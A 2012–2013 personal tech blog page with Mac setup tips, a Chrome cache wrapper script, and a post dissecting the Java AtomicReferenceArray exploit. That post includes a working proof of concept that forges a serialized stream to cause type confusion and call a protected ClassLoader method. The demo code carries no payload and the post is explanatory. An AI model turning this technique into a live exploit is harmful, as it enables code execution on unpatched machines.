Saturday, April 20, 2013

New Posts on Gists

Here are some new JavaScript articles on my github's Gist:

https://gist.github.com/lucastan

I may start posting to Gist more often since it has more builtin code friendly features like syntax highlighting.

Sunday, February 10, 2013

Configuring a development environment for Mac OS X

Here are the steps I took for installing and configuring the various tools I needed for C++/C and Java development in Mac OS X:

  1. Terminal
    1. iTerm2 is recommended over the native Terminal as it is more Linux-compatible.
    2. Configure ~/.bash_profile and put your favorite aliases in it.
    3. Add color to your terminal. There is also a cool LS color generator
    4. Configure ~/.vimrc if you use vim/vi :)
    5. Add syntax on to ~/.vimrc if you want color syntax highlighting.
  2. Git
    1. If you use git for source control, then google for and download it. Installation is straightforward.
    2. Don't forget to do git config --global user.name / user.email
    3. To add color to git output, do this: git config --global color.ui true
  3. SSH keys
    1. SSH keys are needed for git. 
    2. mkdir -p ~/.ssh ; pushd ~/.ssh ; ssh-keygen -t rsa -C "your_email@youremail.com"
    3. Upload the generated public key to your github / bitbucket account.
  4. XCode (clang/clang++, gcc, g++, make, ...)
    1. Install XCode from the App Store. (You'd need an Apple ID)
    2. Put XCode in your dock.
    3. After installation, open XCode, and go to Preferences -> Downloads from the menu bar.
    4. Click to install Command line tools.
    5. Be warned that the version of gcc that shipped with XCode 4.6 (latest as of now) is only 4.2.1 (July 2007), without any support for C++ TR1 and v11. It is seriously ancient. clang on the other hand is relatively newer (LLVM v3.2). I guess they are conservative about g++'s unstable support for C++ 11.
  5. Java
    1. JDK and JRE come installed by default.
    2. Type javac -version and java -version to check their versions.
    3. You'd probably want to install an IDE such as Eclipse.
  6. Ruby / Perl / Python / PHP
    1. Also, these come installed by default. There is also the Apache web server!
    2. Actually, in general, don't expect default-packaged software to be bleeding edge. I haven't tried replacing the default copies yet so I can't tell you how to.
  7. Homebrew (Package manager)
    1. Check out this awesome package manager which is similar to Ubuntu's apt-get.
    2. You use this to install your favorite utilities such as pkg-config, wget, dos2unix and etc.
  8. Sublime Text
    1. This is my personal favorite programmer's text editor that functions like a mini IDE, with simple building functionality and folder browsing. Pretty much reminded me of Notepad++ in Windows!
  9. TextWrangler
    1. In my opinion, this is pretty good but lacks the building and folder browsing ability.
  10. pkg-config (Forget this if you wanna use homebrew)
    1. This handy tool spits out the gcc/g++ compatible compilation/linking flags for specified libraries.
    2. Download and install from http://macpkg.sourceforge.net/
    3. This installer installs to /opt (instead of /usr/local)
    4. Add pkg-config to the path (system-wide):
      1. Create a file /etc/paths.d/pkgconfig with /opt/pkgconfig/bin as its content.
    5. Configure the PKG_CONFIG_PATH environment variable. You'd probably want to set this environment variable system-wide. I have this set to /usr/lib/pkgconfig:/usr/local/lib/pkgconfig
Other stuff:
  1. UI enhancements: such as adding a spacer to your dock and making lists look better.
  2. Multi-media
    1. uTorrent for your ahem, ____ needs.
      1. Don't forget to enable IPFilter. In the main window, do Command+Option+, to bring up the options window with the advanced tab. Set ipfilter.enable to true.
        You can get the ipfilter auto updater 
    2. Spotify, for music to help keep you sane while you code away.
    3. VideoLAN, the ultimate video player that can handle almost every format.

Friday, February 8, 2013

More tips on Chrome

If you're curious, you can take a look at chrome://chrome-urls/
This has lots of information on the internal workings and statistics

Thursday, February 7, 2013

Configuring Google Chrome cache size in Mac

Just bought a new MacBook Air for ~S$2100 (inclusive of GST) and it felt great! I initially had a struggle with the high cost, but finally decided to part with my money for this sexy machine. It is indeed awesome, sleek, easy to use and definitely worth every cent that is spent!

The first thing I had to install is Chrome. I recently found that Google Chrome stores old copies of itself after every auto-update, even if the update is very minor, for e.g., from version 23.0.0.1 to 23.0.0.2. Each copy could take up 100-200 MB and several of them could easily add up to say, 1 GB of disk space! These old copies could be safely deleted if you care about the wastage of disk space.

To do so, if you're using Windows, you can simply go to C:\Program Files (x86)\Google Chrome\ (or a similar path) and delete the folders with versions as their names. If you're using Mac, you can go to /Applications/Google Chrome.app/Contents/Versions (if you installed in that location). Well, actually I'm not even sure whether the Mac version of Chrome stores old copies of itself in there. And sorry folks, I don't know the location for the *nix version. :(

Another nuisance for a disk-space-conscious person like me is that Chrome is configured by default to use an unlimited amount of disk space for its cache! Fortunately, you can limit the cache size by adding the command line argument --disk-cache-size=XX in the shortcut to Chrome (in Windows), where XX is the size in MB. In Mac, this is a bit more involved. But fret not, just follow these steps:

  1. Close all Chrome windows and quit the entire application before you proceed with the steps below.
  2. Go to /Applications/Google Chrome.app/Contents and open the file Info.plist using a text editor.
    • In case you have difficulty in even going to that folder, you'd have to select "Browse Package Contents" after right-clicking on Google Chrome.app (the large Chrome icon) in Applications.
  3. Find the following text:
    • <key>CFBundleExecutable</key>
    • <string>Google Chrome</string>
  4. Replace Google Chrome with wrapper and save the file.
  5. Next, go to ..../Contents/MacOS and create a plain-text file named wrapper
  6. In the file wrapper, add the following contents and save it:
    • #!/bin/sh
      /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome "$@" --disk-cache-size=50 &
  7. Please ensure the path to Google Chrome.app is exactly correct. Every single space counts. In case you're wondering, the sequence "\ " is used to escape a single space. If you don't know what escaping is, it's fine. Just take it that you have to replace all spaces with "\ " (without the quotes). You can also change the number 50 if you wish.
  8. Viola! You're done. Click the Chrome icon in your dock to open it.

Friday, September 7, 2012

Java AtomicReferenceArray Exploit Dissected

I was fascinated and baffled as to how the Java AtomicReferenceArray exploit works. As usual, I googled for articles on this topic but they only give a high-level overview of how this exploit works. So I decided to get my hands dirty to really understand how and why it works, down to the nitty gritty details. At the very end is the full, compilable Java source code that demonstrates the ability to call the protected ClassLoader.getPackages() method (line 12), using an instance of the system class loader, or a.k.a. the JVM's class loader. And the code below is not malicious. It is harmless, so feel free to compile and run it!

A full malicious exploit would use the protected ClassLoader.defineClass() method to load additional classes with arbitrary privileges that sets up a backdoor for hackers to infiltrate. The Metasploit exploit is one such malicious example. It is basically a trojan applet that runs in a web browser. When the browser downloads and initializes the applet embedded on a web page, the applet runs a shell process (cmd.exe for Windows and /bin/sh for Linux) and sets up a server so that a hacker could connect to the victim's machine to run arbitrary commands.

It is recommended that you first read this article on type confusion and this article on the actual exploit for some background information before you carry on reading.

There are 2 key points that make the malicious exploit possible:

  1. The AtomicReferenceArray class does not ensure type safety.
    This class uses the  sun.misc.Unsafe class to store references into its array field without ensuring type safety, thus allowing an instance of class A to pass off as an instance of class B. One of the objectives of the exploit is to use the JVM's ClassLoader instance defineClass() method to load additional classes with arbitrary privileges. Notice that the ClassLoader class is abstract, so you would need to get an instance of it indirectly, such as using ClassLoader.getSystemClassLoader() or Object.getClass().getClassLoader(). But since the ClassLoader.defineClass() method is protected, it is impossible to call the defineClass() method directly. It is also impossible to call the defineClass() method through a subclass of ClassLoader, that is, have class X call ClassLoader.defineClass() where X is a subclass of ClassLoader. To illustrate, consider the following code:
    1
    2
    3
    4
    5
    6
    7
    public class X extends ClassLoader
    {
        public static void exploit(ClassLoader inst)
        {
            inst.defineClass(...);
        }
    }
    This will not compile even though X is a subclass of ClassLoader, because X is outside of the package java.lang where ClassLoader is found. So accessing defineClass() is not as straightforward!

    The proper way to call defineClass() is:
    1
    2
    3
    4
    5
    6
    7
    public class X extends ClassLoader
    {
        public static void exploit(X inst)
        {
            inst.defineClass(...);
        }
    }
    
    Notice the type of the argument 'inst' is changed to X. This code works because X inherits the protected defineClass() method from ClassLoader. However, any instance of X will not have sufficient privileges to call the inherited defineClass() method to load additional classes with arbitrary privileges. This is when type-confusion comes in. Because the AtomicReferenceArray class does not ensure type safety, we can use its set() method to pass off the JVM's ClassLoader instance as an instance of X. This sounds weird because ClassLoader is a superclass of X, and we are using ClassLoader as X! At line 9, the 'instance' argument is really an instance of ClassLoader and not X! At line 12, the Java runtime system is fooled into thinking we are calling X.getPackages() when we are really calling ClassLoader.getPackages().
     
  2. The Java object deserializer allows the use of references.
    This is a crucial point that actually allows us to gain access to the private 'array' field of the  AtomicReferenceArray class. TC_REFERENCE is used to expose this private field member. (See lines 103 to 116). Notice that the private 'array' field is of type Object[] but it is set to reference to an array of type X[]. This is perfectly legitimate as all classes in Java, except for Object itself, are subclasses of Object, either directly or indirectly. When the 'atomicRefArray' instance modifies its private 'array' field, it is actually modifying 'loaderArray'.

    We handcrafted the 'data' array in the code below by modifying an existing serialized stream (which is based on Metasploit's exploit), to take advantage of the referencing ability. We commented the 'data' array so you can understand exactly what is going on. This exploit of the deserializer works in tandem with type-confusion to allow us to call the powerful JVM's ClassLoader instance's defineClass() method. 

The code below is minimal to demonstrate the harmless exploit. Of course, the method convert() (line 19) is not necessary if the data array is stored as a byte array. But we made it an object array for the sake of clarity so that we can explain the actual contents.

The STREAM_*, TC_* and SC_* constants come from the ObjectStreamConstants interface which is implemented by ObjectInputStream, the Java default object deserializer. Strings are stored in the format defined by the method DataOutputStream.writeUTF().

Some questions you might have:
  1. Why not just do a new X() to create a ClassLoader instance?
    Answer: This would work perfectly fine if the MyExploit class is run by using, for example, "java MyExploit", otherwise this would generate a SecurityException if MyExploit is an applet. But then again if the code is run on the command line, it should already have all permissions, including access to the disk.
  2. Why can't I use sun.misc.Unsafe to directly bypass type safety? Answer: The Unsafe class has a private constructor and cannot be subclassed. So the only way to get an instance of it is to use the static method Unsafe.getUnsafe(), but only trusted code has the rights to retrieve an instance (e.g. Java runtime libraries).
  3. How do I actually write a real exploit? Answer: Well, one of the first steps is to turn MyExploit into a subclass of java.applet.Applet. And the rest, you have to figure it out .... :) But note that some browsers, such as Chrome, will prompt the user before running any applet. Also, there is already a patch released to fix this vulnerability but I think not all vulnerable machines have been patched yet...


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import java.util.concurrent.atomic.AtomicReferenceArray;
import java.io.*;
import java.util.*;

public class MyExploit 
{
    private static class X extends ClassLoader implements Serializable
    {
        public static void exploit(X instance)
        {
            // Calling the protected method ClassLoader.getPackages()!!
            Package[] packages = instance.getPackages();    

            for (Package p : packages)
                System.out.println(p.getName());
        }
    }

    private static byte[] convert(Object[] data)
        throws UnsupportedEncodingException
    {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        for (int i = 0; i < data.length; i++)
        {
            Object elem = data[i];
            if (elem instanceof String)
            {
                byte[] bytes = ((String)elem).getBytes("UTF-8");
                bos.write(bytes, 0, bytes.length);
            }
            else if (elem instanceof Integer)
                bos.write((byte)(int)(Integer) elem);
            else
                throw new RuntimeException("unrecognized class: " + 
                    elem.getClass().getName());
        }

        return bos.toByteArray();
    }

    public static void main(String[] args)
        throws Exception
    {
        final String OBJECT_CLASS = "java.lang.Object";
        final String LOADER_CLASS = "MyExploit$X";
        final String ATOMIC_CLASS = 
            "java.util.concurrent.atomic.AtomicReferenceArray";

        // This dat array stores wrapperArray (see below)
        Object[] data = { 
        0xAC, 0xED,  // STREAM_MAGIC
        0x00, 0x05,  // STREAM_VERSION
        0x75,        // TC_ARRAY (wrapperArray)
            0x72,    // TC_CLASSDESC
                0, 3 + OBJECT_CLASS.length(), 
                "[L", OBJECT_CLASS, ";", // Specifies the Object class
                -112, -50, 88, -97, 16, 115, 41, 108, // Serial UID (long)
                0x02,         // SC_SERIALIZABLE 
                0, 0,         // num fields
                0x78,         // TC_ENDBLOCKDATA
                0x70,         // TC_NULL

            0, 0, 0, 2,       // num elements in wrapperArray 

            0x75,             // TC_ARRAY (loaderArray == wrapperArray[0])
                0x72,         // TC_CLASSDESC
                    0, 3 + LOADER_CLASS.length(), 
                    "[L", LOADER_CLASS, ";", 
                    -2, 44, -108, 17, -120, -74, -27, -1, // Serial UID (long) 
                    0x02,     // SC_SERIALIZABLE
                    0, 0,     // num fields
                    0x78,     // TC_ENDBLOCKDATA
                    0x70,     // TC_NULL
                
                0, 0, 0, 1,   // num elements in loaderArray

                0x70, // TC_NULL (null == loaderArray[0])

            0x73,     // TC_OBJECT (atomicRefArray == wrapperArray[1])
                0x72, // TC_CLASSDESC
                    0, ATOMIC_CLASS.length(), 
                    ATOMIC_CLASS,
                    -87, -46, -34, -95, -66, 101, 96, 12, // Serial UID (long)
                    0x02,       // SC_SERIALIZABLE
                    0, 1,       // num fields
                
                    "[",        // type code 
                    0, 5,       // length of "array"
                    "array",    // atomicRefArray array field name
                    
                        0x74,   // TC_STRING
                        0, 19,  // length of next String
                        "[Ljava/lang/Object;", // type of field == Object[]

                    0x78,       // TC_ENDBLOCKDATA
                    0x70,       // TC_NULL
                
                0x71, // TC_REFERENCE (atomicRefArray array field 
                      //               is a ref to loaderArray)
                    0, 0x7E, 0, 3 // wire handle (baseWireHandle == 0x7e0000)
        };

        ObjectInputStream ois = new ObjectInputStream(
                                    new ByteArrayInputStream(convert(data)));
        Object[] wrapperArray = (Object[])ois.readObject();

        X[] loaderArray = (X[])wrapperArray[0];
        AtomicReferenceArray atomicRefArray = 
                (AtomicReferenceArray)wrapperArray[1];

        // atomicRefArray's array field is private but since it is a reference
        // to loaderArray, we can access the array field.
        
        // this 'set' will change loaderArray[0] to the JVM base class loader
        atomicRefArray.set(0, X.class.getClassLoader());

        // loaderArray == atomicRefArray.array
        X.exploit(loaderArray[0]);
    }
}